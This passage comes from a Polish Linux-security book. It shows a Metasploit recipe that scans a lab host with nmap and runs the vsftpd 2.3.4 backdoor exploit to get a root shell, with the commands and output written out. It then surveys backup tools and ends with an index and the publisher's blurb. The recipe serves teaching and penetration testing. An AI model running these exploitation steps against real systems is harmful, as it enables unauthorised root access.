The screenshot shows the Metasploit console interface. At the top, it says 'METASPLOIT by Rapid7'. Below this, there are four main sections of ASCII art: 'RECON' (a triangle shape), 'EXPLOIT' (a rectangular shape with a dashed border), 'PAYLOAD' (a shape with a wavy top edge), and 'LOOT' (a shape with a dashed border). Below the ASCII art, there is a promotional message: 'Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with Metasploit Pro -- learn more on http://rapid7.com/metasploit'. At the bottom, there is a list of statistics: '=[ metasploit v4.11.7- ]', '+ -- ==[ 1518 exploits - 877 auxiliary - 259 post ]', '+ -- ==[ 437 payloads - 38 encoders - 8 nops ]', and '+ -- ==[ Free Metasploit Pro trial: http://r-7.co/trymsp ]'.

2. Po uruchomieniu na ekranie pojawia się kilka informacji oraz znak zachęty *msf>* konsoli Metasploit.
3. Teraz spróbujemy przeskanować host o adresie *192.168.0.102*, używając do tego celu skanera Nmap, uruchomionego w osobnym oknie konsoli powłoki.

Przykładowe wyniki skanowania zostały pokazane poniżej:

```
root@kali:~# nmap -sV 192.168.1.102

Starting Nmap 7.01 ( https://nmap.org ) at 2018-04-23 01:29 EDT
Nmap scan report for 192.168.1.102
Host is up (0.0010s latency).
Not shown: 977 closed ports
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell?
1099/tcp  open  rmiregistry  GNU Classpath grmiregistry
1524/tcp  open  shell        Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
```

4. Wyniki działania skanera pokazują, że na badanym hoście uruchomionych jest wiele usług sieciowych, działających na różnych portach. Wśród nich możemy znaleźć serwer FTP działający na porcie 21.
5. Skupimy się na usłudze FTP. Na podstawie wyników skanowania można się dowiedzieć, że usługa ta wykorzystuje serwer vsftpd w wersji 2.3.4.
6. Teraz powrócimy do Metasploita i spróbujemy znaleźć exploit dla serwera vsftpd. Można to zrobić, wykonując komendę `search vsftpd`. Poniżej przedstawiono wyniki wyszukiwania:

```
msf > search vsftpd

Matching Modules
=====

```

Name	Disclosure Date	Rank	Description
exploit/unix/ftp/vsftpd_234_backdoor	2011-07-03	excellent	VSFTPD v2.3.4 Backdoor

```
Command Execution
```

7. Wyniki działania pokazują, że Metasploit posiada moduł exploita o nazwie VSFTPD Backdoor Command Execution o ocenie doskonałej, co oznacza, że ten exploit powinien bardzo dobrze zadziałać.
8. Aby użyć tego exploita, wykonaj polecenia pokazane na kolejnym rysunku:

```

msf > use exploit/unix/ftp/vsftpd_234_backdoor
msf exploit(vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  ----      -
  RHOST
  RPORT 21              yes       The target address
  RPORT 21              yes       The target port

Exploit target:

  Id  Name
  --  ---
  0   Automatic
    
```

9. Jak łatwo zauważyć, trzeba ustawić parametr RHOST, który w naszym przypadku będzie miał wartość 192.168.1.102.
10. Ustaw wartość parametru RHOST i uruchom exploit, tak jak to zostało pokazane poniżej:

```

msf exploit(vsftpd_234_backdoor) > set RHOST 192.168.1.102
RHOST => 192.168.1.102
msf exploit(vsftpd_234_backdoor) > exploit

[*] Banner: 220 (vsFTPd 2.3.4)
[*] USER: 331 Please specify the password.
[+] Backdoor service has been spawned, handling...
[+] UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.101:40841 -> 192.168.1.102:6200) at 2018-04-23 02:38:58 -0400

whoami
root
    
```

11. Jeżeli wszystko zadziała zgodnie z oczekiwaniami, to po uruchomieniu exploita powinniśmy uzyskać dostęp na poziomie użytkownika *root* do atakowanego systemu, tak jak to pokazano na poprzednim rysunku.

## Jak to działa...

Najpierw za pomocą programu Nmap przeskanowaliśmy badany system, aby sprawdzić, które porty są otwarte i jakie działają na nich usługi. W wyniku skanowania znaleźliśmy usługę FTP *działającą* na porcie 21. Następnie udało nam się sprawdzić wersję serwera FTP. Po zebraniu tych informacji powróciliśmy do konsoli Metasploita i poszukaliśmy exploitów dla serwera VSFTPD. Znalezionej moduł VSFTPD Backdoor Command Execution to w rzeczywistości odpowiednio spreparowany kod, który jest wysyłany przez Metasploita i wykonywany na maszynie docelowej, co jest możliwe ze względu na istniejącą lukę w oprogramowaniu serwera VSFTPD. Gdy kod exploita zostanie wykonany, otrzymujemy dostęp do powłoki atakowanego systemu na poziomie użytkownika *root*.

## Co dalej?

W sieci Internet znajdziesz wiele interesujących informacji na temat exploitów, podatności i luk w zabezpieczeniach systemu Linux.

## Brak planu tworzenia kopii zapasowych

W dobie złośliwych i niebezpiecznych cyberataków Twoje dane nigdy nie są całkowicie bezpieczne i z pewnością wymagają czegoś więcej niż tylko dobrze zabezpieczonego systemu — potrzebują zabezpieczenia w postaci kopii zapasowych. Posiadanie takich kopii daje Ci pewność, że nawet jeżeli Twoje dane zostaną utracone, to będziesz mógł je szybko odtworzyć.

## Przygotuj się

Kiedy mówimy o tworzeniu kopii zapasowych danych w systemie Linux, jedną z kluczowych decyzji jest wybór odpowiedniego do tego narzędzia, które będzie odpowiadało Twoim potrzebom biznesowym. Każdy musi mieć niezawodne narzędzie do tworzenia kopii zapasowych danych, ale nie zawsze oznacza to konieczność wydawania dużych pieniędzy na zakup wyrafinowanych programów. Narzędzie do tworzenia kopii zapasowych powinno umożliwiać tworzenie lokalnych i zdalnych kopii zapasowych, kopii wykonywanych jednorazowo „na życzenie”, kopii zapasowych wykonywanych zgodnie z zaplanowanym harmonogramem i innych funkcji w zależności od Twoich potrzeb.

## Jak to zrobić...

Przedstawimy teraz kilka znakomitych narzędzi do tworzenia kopii zapasowych dla systemu Linux.

### fwbackups

Jest to chyba najprostsze ze wszystkich narzędzi do tworzenia kopii zapasowych dla systemu Linux. Program fwbackups posiada bardzo przyjazny interfejs użytkownika i może być używany do tworzenia pojedynczych kopii zapasowych, a także do okresowego wykonywania kopii zapasowych zgodnie z zaplanowanym harmonogramem.

Kopie zapasowe, zarówno lokalne jak i zdalne, mogą być zapisywane w różnych formatach, takich jak *tar*, *tar.gz*, *tar.bz* lub *rsync*. Za pomocą tego narzędzia można utworzyć kopię zapasową tak pojedynczego pliku, jak i całego komputera.

Program fwbackups pozwala na łatwe wykonywanie kopii zapasowych i równie łatwe przywracanie danych. Dodatkowo narzędzie to umożliwia tworzenie przyrostowych oraz różnicowych kopii zapasowych, co może znacząco przyspieszyć cały proces.

## **rsync**

Jest to zdecydowanie jedno z najczęściej używanych narzędzi do tworzenia kopii zapasowych dla systemu Linux. Może być używane do tworzenia przyrostowych kopii zapasowych, zarówno lokalnych jak i zdalnych.

Program `rsync` może być używany do aktualizacji drzew katalogowych i systemów plików przy zachowaniu linków, właściwości, uprawnień i przywilejów.

Będąc narzędziem wiersza poleceń, `rsync` może być z powodzeniem używane w prostych skryptach, co w połączeniu z narzędziem `cron` pozwala na stworzenie prostego rozwiązania automatycznego tworzenia kopii zapasowych zgodnie z zaplanowanym harmonogramem.

## **Amanda (Advanced Maryland Automatic Network Disk Archiver)**

Jest to darmowe narzędzie o otwartym kodzie źródłowym, opracowane dla „umiarkowanie dużych centrów komputerowych”. Przeznaczone jest do tworzenia kopii zapasowych wielu maszyn na napędach taśmowych, dyskach twardych lub dyskach optycznych za pośrednictwem sieci.

Amanda może być używana do tworzenia kopii zapasowych danych w rozproszonej sieci z zastosowaniem kombinacji głównego serwera kopii zapasowych i systemów Linux lub Windows.

Program ten pozwala również na tworzenie migawek woluminów LVM (ang. *Logical Volume Manager*).

## **Simple Backup Solution (SBS)**

Simple Backup Solution (SBS) to prosty program wyposażony w graficzny interfejs użytkownika. Może być używany do tworzenia kopii zapasowych plików i katalogów. Program ten pozwala również na stosowanie różnego rodzaju filtrów wykorzystujących wyrażenia regularne do wybierania bądź odrzucania plików, które zostaną skopiowane.

SBS posiada predefiniowane zestawy ustawień konfiguracyjnych, które mogą być używane do tworzenia kopii zapasowych takich katalogów jak `/var/`, `/etc/` czy `/usr/local`.

Narzędzie to może być wykorzystywane do tworzenia własnych, niestandardowych kopii zapasowych oraz jednorazowych kopii zapasowych i zaplanowanych kopii zapasowych wykonywanych zgodnie z ustalonym wcześniej harmonogramem.

## **Bacula**

Bacula jest darmowym narzędziem o otwartym kodzie źródłowym. Narzędzie to wymaga zainstalowania odpowiedniego klienta w każdym systemie, którego kopia zapasowa będzie tworzona. Poszczególne systemy są kontrolowane za pomocą serwera, który centralnie obsługuje reguły tworzenia kopii zapasowych.



Bacula posiada własny format pliku, który nie jest jednak zastrzeżony, ponieważ jest to narzędzie typu *open source*.

Program pozwala na tworzenie pełnych i przyrostowych kopii zapasowych i znakomicie sprawdza się w środowisku, gdzie wiele serwerów posiada swoje własne napędy taśmowe do zapisywania kopiowanych danych.

Szyfrowanie i macierze RAID również są obsługiwane przez ten program. Dodatkowo Bacula oferuje swój język skryptów, pozwalający na dostosowanie zadań tworzenia kopii zapasowych oraz wprowadzenie szyfrowania.

---

## Jak to działa...

Narzędzia do tworzenia kopii zapasowych są niezbędne dla każdego, kto pracuje w branży IT lub jest bardziej zaawansowanym użytkownikiem komputera. Narzędzia te powinny mieć możliwość tworzenia zaplanowanych kopii zapasowych, kopii jednorazowych, kopii lokalnych, zdalnych kopii zapasowych i wykonywania wielu innych funkcji w zależności od potrzeb użytkownika.



# Skorowidz

## A

adres  
  IP, 64, 162, 164  
  blokowanie połączeń, 174  
  falszowanie, 174  
    MAC, 64  
    URI, 156  
    URL, 255  
aktualizacja repozytorium pakietów, 129  
aktualizacje, 291, 292, 295, 297  
algorytmy szyfrowania, 357  
Amanda, 48  
analiza pakietów, 165  
analizator pakietów, 165, 232  
analizowanie ustawień jądra, 73  
archiwum tar, 74  
ARM, 246  
ASCII, 167  
atak  
  DoS, 29, 174, 301  
  brute force, 357  
  FTP bounce, 356  
  Shellshock, 281, 284, 285  
ataki z fałszowaniem adresów hosta, 357  
audyt, 29, 378  
audytowanie  
  systemu, 365, 400  
  usług systemowych, 382  
autoryzacja użytkowników, 125

## B

Bacula, 48  
Bashdoor, 281  
baza danych  
  GeoIP, 189  
  Kerberos, 150  
  Maxmind, 189  
  Tripwire, 218  
bezpieczeństwo, 197, 245, 285  
  Postfiksa, 363  
  przesyłania plików, 356  
  serwera, 26  
  serwera Linux, 349  
  sieciowe, 161  
  systemu plików, 77  
biblioteka OpenSSL, 208  
blokowanie  
  konta użytkownika, 116  
  logowania, 113, 137  
  ruchu przychodzącego, 178  
  ruchu sieciowego, 186  
błąd braku pamięci, 73  
błędy, 63  
  jądra, 71  
  programowe, 72  
  typu MCE, 71  
brama domyślna, 255  
BUG() macro, 72

**C**

certyfi­kat, 194, 195, 212  
 SSL, 195, 388  
 ClamAV, 365  
 CSR, Certificate Signing Request, 213  
 CSR, Core Set Rules, 188

**D**

debugowanie, 63  
 procesu uruchamiania jądra, 70  
 DEFT Linux, 257  
 tworzenie raportów, 259  
 dodawanie wyjątku, 212  
 DoS, Denial of Service, 174, 301  
 dostęp  
 do systemu, 120, 128  
 zdalny, 140  
 do serwera/hosta, 133  
 dostępność systemu, 29  
 doważanie symboliczne, 62  
 dystrybucja  
 DEFT Linux, 257  
 Kali Linux, 245  
 NST Linux, 259  
 pfSense, 251  
 Qubes Linux, 273  
 Security Onion, 385  
 Security Onion Linux, 263  
 Tails Linux, 270  
 dystrybucje systemu, 245  
 dziennik  
 zdarzeń, 315, 335  
 audytu, 378

**E**

ekran BIOS-u, 70  
 ekran śmierci, 63  
 e-mail, 359  
 exploit, 301

**F**

falszowanie adresu IP, 174  
 framework Metasploit, 301  
 FTP, File Transfer Protocol, 356  
 funkcja Verbose, 252  
 funkcje skrótu, 30  
 fwbackups, 47

**G**

Glances, 311  
 GNOME 3, 247  
 Grsync, 237

**H**

hasła  
 zasady tworzenia, 24  
 hasło pfsense, 256  
 haszowanie, 357  
 hipernadzorca Xen, 280  
 historia monitorowania sieci, 334

**I**

IAM, Identity and Access Management, 132  
 IDAM, Identity and Access Management, 128  
 IDS, 224  
 IDS, Intrusion Detection System, 215  
 ikona Settings, 249  
 informacje o  
 plikach, 78  
 połączeniu, 162  
 serwerze, 212  
 urządzeniu, 121  
 zdarzeniach, 348  
 inicjowanie modułu Netconsole, 67  
 instalacja  
 Apache, 350  
 klienta, 152  
 zapory pfSense, 251  
 instalowanie  
 aktualizacji, 297  
 Glances, 312  
 Grsync, 238  
 jądra systemu, 60  
 MultiTail, 316  
 OSSEC, 226  
 pakietu OpenSSL, 210  
 programu antywirusowego, 365  
 serwera LDAP, 100  
 Shorewall, 221  
 Snort, 233  
 Tripwire, 215  
 integralność nośnika instalacyjnego, 30  
 interfejs  
 loopback, 172  
 NSTWUI, 261, 262  
 pfsensewebConfigurator, 255  
 IPTraf, 336

**J**

- jądro systemu
  - analizowanie ustawień, 73
  - błąd braku pamięci, 73
  - błędy, 71
    - programowe, 72
    - typu MCE, 71
  - debugowanie procesu uruchamiania, 70
  - instalowanie, 60
  - kod źródłowy, 53
  - kompilowanie, 60
  - konfigurowanie, 51, 55
  - korekcja błędów, 71
  - optymalizowanie, 51
  - parametry, 73
  - przerwania niemaskowalne, 71
  - testowanie, 63
  - uruchamianie, 60
  - usuwanie błędów, 63
  - wykrywanie błędów, 71
  - zakleszczenie, 72
  - zawieszenia pozorne, 72
- JDK, Java Development Kit, 128
- jednostki, 150

**K**

- Kali Linux, 245
  - dostęp do ustawień, 248
  - menu Application, 251
  - nagrywanie filmu, 248
  - środowisko graficzne, 247
- karta
  - Authentication, 295, 297
  - Other Software, 294
  - Statistics, 296, 297
  - Ubuntu Software, 292
  - Updates, 295, 297
- katalog
  - /boot, 62
  - lynis, 74
- klucz
  - prywatny, 195, 286
  - publiczny, 195, 286
  - SSL, 194
  - USB, 120
- klucze, 140
- kod źródłowy jądra systemu, 53, 54

- komunikat
  - Completed successfully, 241, 242
  - o błędzie, 115, 206, 208
- konfiguracja
  - dostępu do polecenia sudo, 36
  - loadera GRUB, 96
  - pakietu PHPdapadmin, 104
  - serwera Kerberos, 147
  - zapory Shorewall, 223
- konfigurowanie
  - jądra systemu, 55
  - konsoli, 63
  - modułu Netconsole, 66
  - pakietu TCP Wrappers, 182
  - serwera
    - Apache, 211, 349
    - Kerberos, 147, 153
    - LDAP, 100
    - proxy, 206
    - Tripwire, 215
    - zabezpieczeń serwerów, 23
    - zapory pfSense, 252
- konsola do debugowania, 63
- konta użytkowników, 24
- kontrola dostępu, 95
- kopie zapasowych, 47
- korekcja błędów, 71

**L**

- LDAP, Lightweight Directory Access Protocol, 100, 103, 155
- lista ACL, 86
- lista kontrolna bezpieczeństwa, 28
  - audyt, 29
  - dostępność systemu, 29
  - dyski, 28
  - sieć i usługi, 29
  - uruchamianie, 28
- logowanie, 107
  - blokowanie, 113, 137
  - zdalne, 352, 363
  - bezpieczne, 354
- luka
  - Dirty Cow, 302
  - Shellshock, 281, 284, 285, 290
  - xt\_TCPMSS, 300
- luki w zabezpieczeniach, 281, 300
- LUKS, Linux Unified Key Setup, 31
- Lynis, 397

**M**

MAC, Mandatory Access Control, 95  
 maska podsieci, 255  
 maszyna wirtualna, 246  
 mechanizm  
   LUKS, 31, 272  
   PAM, 120, 159  
   pam\_usb, 122  
 menedżer  
   aktualizacji, 291, 292  
   maszyn wirtualnych, 280  
   sieci, 163  
 menu  
   Application, 251  
   File systems, 58  
 ModSecurity, 186  
 moduł  
   Netconsole, 63, 67  
   PAM, 120  
 monitorowanie, 25, 27  
   aktywności użytkowników, 116  
   bezpieczeństwa sieci, 336, 385  
   dzienników zdarzeń, 315  
   ruchu, 165  
   sieci, 307, 341  
     w czasie rzeczywistym, 331  
     systemu, 303, 311  
 MultiTail, 315

**N**

narzędzia  
   bezpieczeństwa, 197  
   systemowe, 318, 322, 325, 328  
 narzędzie Git, 54  
 nasłuchiwanie, 333  
 Nmap, 39, 307  
 nośnik startowy USB, 52  
 NST Linux, 259  
   interfejs NSTWUI, 261, 262

**O**

obsługa SSL, 194, 210  
 ocena podatności, 38  
 ochrona plików wrażliwych, 98  
 odbiornik komunikatów, 69  
 odrzucanie pakietów, 228

ograniczanie  
   dostępu, 110  
   zdalnego dostępu, 140  
 OpenNMS, 341  
 OpenVAS, 389, 394  
 operacje na plikach, 90  
 OSSEC, 224

**P**

pakiet  
 acct, 116, 119  
   auditt, 376  
   ClamAV, 368  
   Glances, 311, 314  
   Grsync, 238  
   ICMP Echo, 179  
   ICMP Host Unreachable, 180  
   ICMP Time Exceeded, 179  
   iptables, 169  
   iptables-persistent, 173  
   IPTraf, 331  
   Java, 130  
   JDK, 128  
   krb5-config, 152  
   Logcheck, 304, 306  
   Lynis, 397, 400  
   mod\_security, 186  
   ModSecurity, 188  
   Netcat, 68  
   Nmap, 200, 307  
   OpenLDAP, 101  
   OpenNMS, 341, 343, 344, 345, 348  
   OpenSSH, 354  
   openssh-client, 136  
   openssh-server, 137, 285  
   OpenSSL, 209  
   OpenVAS, 389  
   OSSEC, 224, 225, 227, 229, 231  
   pam-usb, 124  
   PHPldapadmin, 103, 106  
   Postfix, 358  
   Rsync, 238  
   Shorewall, 220, 221, 222  
   slapd, 106  
   Snort, 232, 233, 235  
   Squid, 204  
   Suricata, 336, 337, 338, 339, 340  
   sxdid, 200  
   sXid, 198

- Syslinux, 52
- TCP Wrappers, 182, 186
- Tcpdump, 166, 169
- Tripwire, 215, 216, 217, 218, 220
- Whowatch, 318
- WSO2 Identity Server, 128
- IPTraff, 331
- PAM, Pluggable Authentication Modules, 120, 159
- parametry jądra, 73
- pfSense, 251
  - instalacja systemu, 257
  - konfigurowanie zapory, 252
- plik
  - /etc/default/portsentry, 203
  - /etc/environment, 129
  - /etc/glances/glances.conf, 313
  - /etc/host.conf, 177
  - /etc/hostname, 342
  - /etc/hosts, 147
  - /etc/hosts.allow, 183, 184, 185
  - /etc/hosts.deny, 183, 204
  - /etc/krb5.conf, 150, 155
  - /etc/logcheck/logcheck.conf, 305, 306
  - /etc/logcheck/logcheck.logfiles, 306
  - /etc/modprobe.d/netconsole.conf, 67
  - /etc/modsecurity/crs-setup.conf, 189
  - /etc/modules, 67
  - /etc/network/interfaces, 162, 164, 231
  - /etc/nsswitch.conf, 159
  - /etc/pam.d/common-session, 159
  - /etc/pam.d/login, 112
  - /etc/pamusb.conf, 121, 122
  - /etc/passwd, 114, 286, 289
  - /etc/phpldapadmin/config.php, 158
  - /etc/securetty, 112, 113
  - /etc/security/access.conf, 112
  - /etc/shadow, 114
  - /etc/shorewall/rules, 223
  - /etc/shorewall/zones, 222
  - /etc/ssh/sshd\_config, 137, 139, 153
  - /etc/sudoers, 126, 127, 138
  - /etc/sxid.conf, 199, 200
  - /etc/sysctl.conf, 73
  - /etc/tripwire/tw.pol, 218
  - /var/ossec/etc/ossec.conf, 230
  - ~/netconsole.log, 68
  - authorized\_keys, 287, 288
  - capture.pcap, 168
  - carbon.xml, 130
  - conn.log, 185
  - CSR, 213
  - file1.txt, 89
  - id\_rsa, 141
  - id\_rsa.pub, 287
  - local\_rules.xml, 231
  - lynis, 75
  - modsecurity.conf, 187
  - modsecurity.conf-recommended, 187
  - permissions.acl, 89
  - policy, 223
  - securetty, 111
  - sudoers, 36
  - System.map, 62
  - wtmp, 118
- pliki
  - dziennika, 303, 306
  - przenoszenie, 90
  - rozszerzone atrybuty, 98
  - synchronizacja, 243
  - wrażliwe, 98
  - zdalne kopiowanie, 143
  - zmiana nazwy, 90
- poczta elektroniczna, 358
- podatności, 300
- polecenie
  - apt-get install glances, 312
  - apt-get update, 343
  - attr, 98
  - aureport, 382
  - ausearch, 379, 380, 382
  - cat, 114
  - chmod, 80, 83
  - chown, 84
  - cp, 90
  - Details, 249
  - diff, 300
  - dmesg, 108
  - File/Connect to Server, 145
  - getfattr, 99
  - glances, 312, 315
  - gree, 109
  - grsync, 239
  - ifconfig, 163
  - iptables, 172
  - kadmin.local, 150, 153
  - Keys, 320
  - kinit tajinder, 154
  - last, 109, 110
  - lastb root, 108
  - lastcomm, 119
  - lastlog, 110
  - lista princes, 151
  - ls, 78

- polecenie
  - lshw, 163
  - lsuf, 325, 326, 327
  - make, 118
    - install, 61, 118, 338
    - menuconfig, 58
  - more, 111
  - multitail, 316, 317
  - mv, 90, 91, 92
  - New Task, 392
  - nmap localhost, 309
  - openssl, 193
  - pamusb-conf, 121
  - patch, 299, 300
  - polityka bezpieczeństwa, 22
  - put, 287
  - rsync, 243
  - scp, 144, 155
  - service
    - apache2 restart, 210
    - shorewall restart, 224
    - squid3 restart, 207
  - Set NST System Passwords, 260
  - setenforce, 97
  - setfacl, 88
  - setfatr, 99
  - Settings, 370
  - sftp, 145
  - Simulation, 241
  - snort, 235
  - ssh adres\_IP, 135
  - stat, 322, 323, 324
  - strace, 328, 329, 330
  - sudo, 36, 58, 126, 128, 169, 325
  - xsid, 199
  - systemctl, 382, 384
  - tail, 330
  - Targets, 390
  - tcpdump, 166, 167, 168, 169
  - unzip, 130
  - usermod, 115
  - vrify, 363
  - whowatch, 318, 319
- poprawki bezpieczeństwa, 291, 297
- PortSentry, 200
- postęp skanowania, 371
- Postfix, 360
- powłoka bash, 281, 284, 290
- prawo dostępu do plików i katalogów, 80, 86
- program
  - ARM, 246
  - aureport, 378
  - ausearch, 378
  - chkrootkit, 376
  - ClamAV, 365, 367, 368
  - fwbackups, 47
  - Glances, 311
  - Grsync, 237
  - IDAM, 128
  - IPTraf, 332, 336
  - kadmin.local, 150
  - Logcheck, 303
  - Lynis, 73, 75, 397
  - MultiTail, 315
  - Netcat for Windows, 69
  - Nikto, 395
  - Nmap, 39, 203, 307
  - OpenNMS, 341
  - OpenSSH, 134
  - OSSEC, 224
  - PortSentry, 200
  - rkhunter, 374, 376
  - rozruchowy, 51
    - GRUB, 65, 70
  - rsync, 48, 237
  - scp, 146
  - sftp, 145
  - Shorewall, 220
  - Snort, 232
  - SSH, 182
  - sXID, 197
  - Systemd, 382
  - Tripwire, 215
  - Update Manager, 292
  - VirtualBox, 246
  - VMWare, 246
  - Whowatch, 319, 321
  - Wireshark, 353, 355
- programy antywirusowe, 365
- protokół
  - HTTPS, 131, 213
  - LDAP, 155
  - SFTP, 146
  - SMTP, 358
  - SSH, 133
  - SSL, 191, 192, 350
  - TCP/IP, 161
- przechwytywanie pakietów, 357
- przerwania niemaskowalne, 71
- przestrzeń nazw, 98
- punkty montowania, 53



**Q**

Qubes Linux, 273  
 hipernadzorca Xen, 280  
 instalowanie, 273  
 systemu, 276  
 konfiguracja systemu, 277  
 lokalizacja systemu, 274

**R**

RAM dysk, 62  
 reguły  
 CSR, 188  
 zapory iptables, 171, 172, 173, 175, 177, 179  
 rejestrowanie zdarzeń, 303  
 repozytoria Ubuntu, 100  
 repozytorium  
 GitHub, 225  
 PPA Oracle, 129  
 rkhunter, 374  
 root, 43  
 rootkit, 224, 228, 372, 375  
 rozszerzenie SELinux, 95, 96  
 rozszerzone atrybuty plików, 98  
 rsync, 48, 237

**S**

screencasting, 248  
 Security Onion, 385, 388  
 Linux, 263  
 serwer  
 Apache, 186, 191, 209, 351  
 FTP, 357  
 Glances, 315  
 Kerberos, 147  
 LDAP, 100, 155, 157, 159  
 OpenSSL, 208  
 proxy Squid, 208  
 Squid Proxy, 204  
 SSH, 147, 287  
 sshd, 136  
 Ubuntu, 106  
 WSO2 Identity Server, 131  
 WWW, 349, 395  
 serwery  
 bezpieczeństwo, 26  
 zasady konfiguracji, 24, 26  
 sesja  
 połączenia, 154  
 SSH, 137, 140

SFTP, Secure File Transfer Protocol, 146  
 Shorewall, 220  
 sieci TCP/IP, 161  
 Simple Backup Solution, 48  
 skaner  
 Nmap, 203, 307, 311  
 OpenVAS, 394  
 skanowanie, 365, 394  
 hostów, 39  
 serwera, 390  
 serwerów WWW, 395  
 sieci, 310  
 systemu, 368  
 skrypt  
 example.sh, 289  
 install.sh, 226  
 konfiguracyjny, 117  
 sample.sh, 287  
 słowo kluczowe  
 acl, 207  
 src, 207  
 SMTP, Simple Mail Transfer Protocol, 358  
 sniffing, 357  
 Snort, 232  
 SSH, Secure Shell, 354  
 SSL, Secure Sockets Layer, 208  
 status pakietu OSSEC, 229  
 statystyki interfejsu, 335  
 sXID, 197  
 sygnatury rootkitów, 373, 375  
 synchronizacja plików, 243  
 system  
 IDAM, 128  
 Kerberos, 147  
 klienta, 147  
 plików  
 bezpieczeństwo, 77  
 ext4, 59  
 Security Onion Linux, 385  
 wykrywania włamań, 215, 224, 232  
 Systemd, 382  
 szyfrowanie, 357  
 dysków, 31

**T**

Tails Linux, 270  
 podmenu Tails, 272  
 TCP Wrappers, 182  
 TCP/IP, 161  
 Telnet, 352

testowanie jądra, 63  
 token uwierzytelniający, 120  
 Tripwire, 215  
 tryb
 

- analyzera pakietów, 232
- wymuszania, 97
- zezwalania, 96

 tworzenie
 

- domeny, 149
- hasła, 150
- kopii zapasowych, 47

**U**

Ubuntu, 100  
 uprawnienia do wykonania pliku, 81  
 URI, Uniform Resource Identifier, 156  
 urząd certyfikacji, 214  
 urządzenie USB, 123, 124  
 usługa
 

- auditd, 376, 378, 380, 382
- FTP, 356
- HTTPD, 349
- LDAP, 103
- nscd, 160
- OSSEC, 231
- PortSentry, 203
- postfix, 362
- shorewall, 224
- SMTP, 358
- Squid, 207
- SSH, 136, 139, 310, 354
- Telnet, 352, 363

 ustawienia protokołu TCP/IP, 165  
 usuwanie błędów, 63  
 utwardzanie systemu, 397  
 uwierzytelnianie, 295
 

- lokalne, 107
- oparte na kluczach, 140
- PAM, 121
- USB, 124
- użytkowników, 120, 155
- zdalne, 133

 użytkownik root, 43, 112, 137, 138

**V**

VirtualBox, 246  
 VMWare, 246

**W**

WAF, Web Application Firewall, 186  
 Whowatch, 318  
 Wireshark, 353  
 wirtualny host, 194  
 włamania, 29  
 własność plików, 84  
 wyjątek bezpieczeństwa, 212  
 wykrywanie
 

- błędów, 71
- rootkitów, 224, 228, 372
- włamań, 29, 232, 385

 wyszukiwanie luk i podatności, 389  
 wyświetlanie podkatalogów, 79

**Z**

zabezpieczanie
 

- ruchu sieciowego, 191
- serwerów, 23

 zadanie skanowania, 392, 393  
 zakleszczenie, 72  
 zaporą sieciową
 

- Shorewall, 220
- iptables, 169, 171
- ModSecurity, 186
- pfSense, 252
- UFW, 346

 zarządzanie
 

- aktualizacjami, 291
- dostępem, 128
- kontami użytkowników, 24
- zarządzanie plikami dziennika, 303
- sieciami TCP/IP, 161
- usługą LDAP, 103
- użytkownikami, 155

 zasady
 

- konfiguracji serwera, 24, 26
- monitorowania, 25, 27
- tworzenia haseł, 24

 zawieszenia pozorne, 72  
 zdalne kopiowanie plików, 143  
 zdarzenia, 303, 315  
 zmiana
 

- nazwy
  - katalogu, 91
  - plików, 92
  - właściciela plików i katalogów, 84

 zmienne środowiskowe powłoki, 283  
 znaczniki czasu, 93

# PROGRAM PARTNERSKI

— GRUPY HELION —

1. ZAREJESTRUJ SIĘ
2. PREZENTUJ KSIĄŻKI
3. ZBIERAJ PROWIZJĘ

Zmień swoją stronę WWW w działający bankomat!

**Dowiedz się więcej i dołącz już dzisiaj!**

<http://program-partnerski.helion.pl>

GRUPA  
**Helion**

## Przygotuj się na atak. Zabezpiecz swojego Linuksa!

Wokół zagadnienia bezpieczeństwa Linuksa narosło sporo mitów. Niektórzy uważają, że jako system open source nie zapewnia odpowiedniego poziomu bezpieczeństwa. Inni — że jedynie eksperci są w stanie poradzić sobie z wirusami i atakami hakerów na ten system. Są również osoby twierdzące, że Linux jest całkowicie odporny na wirusy i trudno go skompromitować. Żadne z tych twierdzeń nie jest do końca prawdziwe. Podczas konfigurowania i użytkowania systemów linuksowych bezpieczeństwo powinno być priorytetem. Istnieje wiele sposobów wykrywania i usuwania luk w zabezpieczeniach i rzetelny administrator systemu jest w stanie poradzić sobie z tym zadaniem.

Sięgnij po tę książkę, jeśli jesteś odpowiedzialny za bezpieczeństwo systemu linuksowego. Zawarto tu szereg porad i wskazówek dotyczących konfiguracji jądra, bezpieczeństwa systemu plików i sieci oraz różnych narzędzi usprawniających administrowanie systemem. Nie zabrakło omówienia specjalnych dystrybucji Linuksa, opracowanych z myślą o monitorowaniu bezpieczeństwa. Zaprezentowano zagadnienia dotyczące skanowania w poszukiwaniu luk, wykrywania włamań oraz audytowania systemu Linux. Ciekawym tematem zawartym w książce są zasady bezpiecznego korzystania z takich usług jak HTTPD, FTP i telnet. Zrozumienie zaprezentowanych tu treści jest łatwiejsze dzięki licznym praktycznym przykładom.

### W tej książce między innymi:

- solidne podstawy bezpieczeństwa systemów linuksowych
- optymalne konfigurowanie jądra systemu
- usuwanie luk w zabezpieczeniach powłoki bash
- monitorowanie i analiza dzienników zdarzeń oraz skanowanie sieci
- utwardzanie systemów linuksowych za pomocą pakietu Lynis

